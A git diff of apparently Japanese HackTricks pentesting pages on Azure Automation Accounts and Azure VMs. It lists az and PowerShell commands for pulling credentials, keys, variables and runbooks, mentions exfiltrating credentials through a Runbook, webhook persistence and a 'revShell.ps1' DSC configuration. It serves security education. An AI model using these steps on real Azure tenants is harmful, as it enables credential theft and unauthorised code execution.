+ハイブリッドワーカーのジョブは、Windowsでは**SYSTEM**として、Linuxでは**nxautomation**アカウントとして実行されます。\ +各ハイブリッドワーカーは**ハイブリッドワーカーグループ**に登録されます。 + +したがって、**Windowsハイブリッドワーカー**で**Runbook**を実行することを選択できる場合、**System**として外部マシン内で**任意のコマンド**を実行します(良いピボット技術です)。 + +### ステート構成 (SC) + +>[!WARNING] +> [ドキュメント](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)に示されているように、Azure Automation State Configurationは2027年9月30日に廃止され、[Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)に置き換えられます。 + +Automation Accountsは、VMの**状態**を**構成**および**維持**するのに役立つ機能である**State Configuration (SC)**もサポートしています。**Windows**および**Linux**マシンにDSC構成を**作成**および**適用**することが可能です。 + +攻撃者の視点から見ると、これは**構成されたすべてのVMで任意のPSコードを実行**できるため、これらのVMのマネージドアイデンティティへの権限昇格を可能にし、新しいネットワークへのピボットを潜在的に行うことができるため、興味深いものでした... また、構成には**機密情報**が含まれる可能性があります。 + +## 列挙 +```bash +# List Automation Accounts +az automation account list --output table + +# Get Automation Account details +# Check the network access in `privateEndpointConnections` and `publicNetworkAccess` +# Check the managed identities in `identity` +az automation account show --name --resource-group + +# Get keys of automation account +## These are used for the DSC +az automation account list-keys --automation-account-name --resource-group + +# Get schedules of automation account +az automation schedule list --automation-account-name --resource-group + +# Get connections of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections?api-version=2023-11-01" + +# Get connection details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections/?api-version=2023-11-01" + +# Get credentials of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials?api-version=2023-11-01" + +# Get credential details +## Note that you will only be able to access the password from inside a Runbook +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials/?api-version=2023-11-01" + +# Get certificates of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates?api-version=2023-11-01" + +# Get certificate details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates/?api-version=2023-11-01" + +# Get variables of automation account +## It's possible to get the value of unencrypted variables but not the encrypted ones +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables?api-version=2023-11-01" + +# Get variable details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2023-11-01" + +# Get runbooks of an automation account +az automation runbook list --automation-account-name --resource-group + +# Get runbook details +az automation runbook show --automation-account-name --resource-group --name + +# Get runbook content +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//runbooks//content?api-version=2023-11-01" + +# Get jobs of an automation account +az automation job list --automation-account-name --resource-group + +# Get job details +az automation job show --automation-account-name --resource-group --name + +# Get job output +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" + +# Get the Runbook content when the job was executed +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//runbookContent?api-version=2023-11-01" + +# Get webhooks inside an automation account +## It's possible to see to which runbook it belongs in the given data +## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d +## Generating a webhook can be useful from a persistence perspective +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks?api-version=2018-06-30" + +# Get the source control setting of an automation account (if any) +## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL +aaz automation source-control list --automation-account-name --resource-group + +# Get custom runtime environments +## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli" +az automation runtime-environment list \ +--resource-group > \ +--automation-account-name \ +--query "[?!(starts_with(description, 'System-generated'))]" + +# Get State Configurations (SC) of an automation account +az automation dsc configuration list --automation-account-name --resource-group + +# Get State Configuration details +az automation dsc configuration show --automation-account-name --resource-group --name + +# Get State Configuration content +az automation dsc configuration show-content --automation-account-name --resource-group --name +``` + +```powershell +# Check user right for automation +az extension add --upgrade -n automation +az automation account list # if it doesn't return anything the user is not a part of an Automation group + +# Gets Azure Automation accounts in a resource group +Get-AzAutomationAccount + +# List & get DSC configs +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match ''} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug +## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting) + +# List & get Run books code +Get-AzAutomationAccount | Get-AzAutomationRunbook +Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp + +# List credentials & variables & others +Get-AzAutomationAccount | Get-AzAutomationCredential +Get-AzAutomationAccount | Get-AzAutomationVariable +Get-AzAutomationAccount | Get-AzAutomationConnection +Get-AzAutomationAccount | Get-AzAutomationCertificate +Get-AzAutomationAccount | Get-AzAutomationSchedule +Get-AzAutomationAccount | Get-AzAutomationModule +Get-AzAutomationAccount | Get-AzAutomationPython3Package +## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them + +# List hybrid workers +Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName +``` +## 権限昇格とポストエクスプロイト + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## 参考文献 + +- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) +- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) +- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index e028274c6..342b75776 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -4,7 +4,7 @@ ## Azure ネットワーキング基本情報 -Azure ネットワークには **異なるエンティティと構成方法が含まれています。** 様々な Azure ネットワークエンティティの **簡単な説明、** **例、** および **列挙** コマンドを見つけることができます: +Azure ネットワークには **異なるエンティティと構成方法があります。** 様々な Azure ネットワークエンティティの **簡単な説明、** **例、** および **列挙** コマンドは以下にあります: {{#ref}} az-azure-network.md @@ -12,7 +12,7 @@ az-azure-network.md ## VMs 基本情報 -Azure 仮想マシン (VMs) は、柔軟でオンデマンドの **クラウドベースのサーバーで、Windows または Linux オペレーティングシステムを実行できます。** 物理ハードウェアを管理することなく、アプリケーションやワークロードを展開できます。Azure VMs は、特定のニーズに応じてさまざまな CPU、メモリ、およびストレージオプションで構成でき、仮想ネットワーク、ストレージ、およびセキュリティツールなどの Azure サービスと統合できます。 +Azure 仮想マシン (VMs) は、柔軟でオンデマンドの **クラウドベースのサーバーで、Windows または Linux オペレーティングシステムを実行できます。** 物理ハードウェアを管理することなく、アプリケーションやワークロードを展開できます。Azure VMs は、特定のニーズに応じてさまざまな CPU、メモリ、およびストレージオプションで構成でき、仮想ネットワーク、ストレージ、セキュリティツールなどの Azure サービスと統合できます。 ### セキュリティ構成 @@ -38,20 +38,20 @@ Azure 仮想マシン (VMs) は、柔軟でオンデマンドの **クラウド - ネットワーク合計が 500GB を超える - ネットワークアウト合計が 200GB を超える - VmAvailabilityMetric が 1 未満 -- **ヘルスモニター**: デフォルトではポート 80 の HTTP プロトコルをチェックします -- **ロック**: VM をロックして、読み取り専用 (**ReadOnly** ロック) または読み取りと更新は可能だが削除はできない (**CanNotDelete** ロック) 状態にすることができます。 -- VM に関連するほとんどのリソース **もロックをサポート**しています (ディスク、スナップショットなど)。 +- **ヘルスモニター**: デフォルトではポート 80 で HTTP プロトコルをチェックします +- **ロック**: VM をロックして、読み取り専用 (**ReadOnly** ロック) または読み取りと更新は可能だが削除はできない (**CanNotDelete** ロック) にすることができます。 +- ほとんどの VM 関連リソース **もロックをサポート**しています (ディスク、スナップショットなど)。 - ロックは **リソースグループおよびサブスクリプションレベル**でも適用できます。 ## ディスクとスナップショット -- **2 つ以上の VM にディスクをアタッチすることを有効にする**ことが可能です -- デフォルトではすべてのディスクは **暗号化**されています。 -- スナップショットでも同様です -- デフォルトでは **すべてのネットワークからディスクを共有する**ことが可能ですが、特定の **プライベートアクセス** のみに **制限**したり、 **公開およびプライベートアクセスを完全に無効に**することも可能です。 -- スナップショットでも同様です -- **ディスクをエクスポートするための SAS URI** (最大 60 日間) を **生成する**ことが可能で、認証を要求するように構成することもできます -- スナップショットでも同様です +- **2 つ以上の VM にディスクをアタッチすることを有効にする**ことが可能です。 +- デフォルトでは、すべてのディスクは **プラットフォームキーで暗号化**されています。 +- スナップショットでも同様です。 +- デフォルトでは、**すべてのネットワークからディスクを共有する**ことが可能ですが、特定の **プライベートアクセス** のみに **制限**したり、**公開およびプライベートアクセスを完全に無効に**することも可能です。 +- スナップショットでも同様です。 +- **ディスクをエクスポートするための SAS URI** (最大 60 日間) を **生成する**ことが可能で、認証を要求するように構成することもできます。 +- スナップショットでも同様です。 {{#tabs}} {{#tab name="az cli"}} @@ -79,7 +79,7 @@ Get-AzDisk -Name -ResourceGroupName **VMイメージ**は、**新しい仮想マシン(VM)**を作成するために必要なオペレーティングシステム、アプリケーション設定、およびファイルシステムを含むテンプレートです。イメージとディスクスナップショットの違いは、ディスクスナップショットが単一の管理ディスクの読み取り専用の時点コピーであり、主にバックアップやトラブルシューティングに使用されるのに対し、イメージは**複数のディスクを含むことができ、新しいVMを作成するためのテンプレートとして機能するように設計されています**。\ イメージは、Azureの**イメージセクション**または**Azureコンピュートギャラリー**内で管理でき、**バージョン**を生成したり、イメージをテナント間で**共有**したり、さらには公開することもできます。 -**復元ポイント**は、VMの構成と**時点**でのアプリケーション整合性のある**すべての管理ディスクのスナップショット**を保存します。これはVMに関連しており、その目的は特定の時点でのVMを復元できるようにすることです。 +**復元ポイント**は、VMの構成と、VMに接続されているすべての管理ディスクの**時点での**アプリケーション整合性のある**スナップショット**を保存します。これはVMに関連しており、その目的は特定の時点でのVMを復元できるようにすることです。 {{#tabs}} {{#tab name="az cli"}} @@ -144,15 +144,15 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName ``` -## VMsにおけるコード実行 +## コード実行 in VMs -### VM拡張機能 +### VM 拡張機能 -Azure VM拡張機能は、Azure仮想マシン(VM)上での**デプロイ後の構成**および自動化タスクを提供する小さなアプリケーションです。 +Azure VM 拡張機能は、Azure 仮想マシン (VM) 上で **デプロイ後の構成** と自動化タスクを提供する小さなアプリケーションです。 -これにより、**VM内で任意のコードを実行**することが可能になります。 +これにより、**VM 内で任意のコードを実行**することが可能になります。 -必要な権限は**`Microsoft.Compute/virtualMachines/extensions/write`**です。 +必要な権限は **`Microsoft.Compute/virtualMachines/extensions/write`** です。 利用可能なすべての拡張機能をリストすることができます: @@ -531,15 +531,15 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na {{#endtab }} {{#endtabs }} -### 関連するVM拡張機能 +### 関連する VM 拡張機能 必要な権限は依然として **`Microsoft.Compute/virtualMachines/extensions/write`** です。
-VMAccess拡張機能 +VMAccess 拡張機能 -この拡張機能は、Windows VM内のユーザーのパスワードを変更する(または存在しない場合は作成する)ことを可能にします。 +この拡張機能は、Windows VM 内のユーザーのパスワードを変更する(または存在しない場合は作成する)ことを可能にします。 ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password @@ -549,9 +549,9 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na
-DesiredConfigurationState (DSC) +DesiredStateConfiguration (DSC) -これは、Azure Windows VMの構成を管理するためにPowerShell DSCを使用するMicrosoftに属する**VM拡張**です。したがって、この拡張を通じてWindows VMで**任意のコマンドを実行**するために使用できます: +これは、Azure Windows VMの構成を管理するためにPowerShell DSCを使用するMicrosoftの**VM拡張機能**です。したがって、この拡張機能を通じてWindows VMで**任意のコマンドを実行**するために使用できます: ```powershell # Content of revShell.ps1 Configuration RevShellConfig { @@ -603,7 +603,7 @@ Set-AzVMDscExtension ` ハイブリッドランブックワーカー -これは、オートメーションアカウントからVM内でランブックを実行することを可能にするVM拡張機能です。詳細については、[Automation Accounts service](../az-automation-account/)を確認してください。 +これは、オートメーションアカウントからVM内でランブックを実行することを可能にするVM拡張機能です。詳細については、[Automation Accounts service](../az-automation-account/index.html)を確認してください。
@@ -627,7 +627,7 @@ az sig gallery-application list --gallery-name --resource-group < > [!CAUTION] > **個々のアプリやギャラリーを他のサブスクリプションやテナントと共有することが可能です**。これは非常に興味深いことで、攻撃者がアプリケーションにバックドアを仕掛け、他のサブスクリプションやテナントにピボットすることを可能にするかもしれません。 -しかし、**vmアプリ用の「マーケットプレイス」は、拡張機能用のものとは異なります**。 +しかし、**vmアプリ用の「マーケットプレイス」は、拡張機能用のものとは異なり存在しません**。 必要な権限は次のとおりです: @@ -637,7 +637,7 @@ az sig gallery-application list --gallery-name --resource-group < - `Microsoft.Network/networkInterfaces/join/action` - `Microsoft.Compute/disks/write` -任意のコマンドを実行するための悪用例: +任意のコマンドを実行するためのエクスプロイト例: {{#tabs }} {{#tab name="Linux" }} @@ -725,12 +725,12 @@ az vm application set \ ### カスタムデータ -期待されるパスに保存されるデータをVMに渡すことが可能です: +VMにいくつかのデータを渡すことが可能で、期待されるパスに保存されます: - **Windows**では、カスタムデータは`%SYSTEMDRIVE%\AzureData\CustomData.bin`にバイナリファイルとして配置され、処理されません。 - **Linux**では、`/var/lib/waagent/ovf-env.xml`に保存されていましたが、現在は`/var/lib/waagent/CustomData/ovf-env.xml`に保存されています。 -- **Linuxエージェント**:デフォルトではカスタムデータを処理せず、データが有効なカスタムイメージが必要です。 -- **cloud-init**:デフォルトではカスタムデータを処理し、このデータは[**いくつかのフォーマット**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)である可能性があります。カスタムデータにスクリプトを送信するだけで、スクリプトを簡単に実行できます。 +- **Linuxエージェント**: デフォルトではカスタムデータを処理しないため、データが有効なカスタムイメージが必要です。 +- **cloud-init:** デフォルトではカスタムデータを処理し、このデータは[**いくつかのフォーマット**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)である可能性があります。カスタムデータにスクリプトを送信するだけで、スクリプトを簡単に実行できます。 - UbuntuとDebianの両方がここに置いたスクリプトを実行することを試しました。 - これが実行されるためにユーザーデータを有効にする必要はありません。 ```bash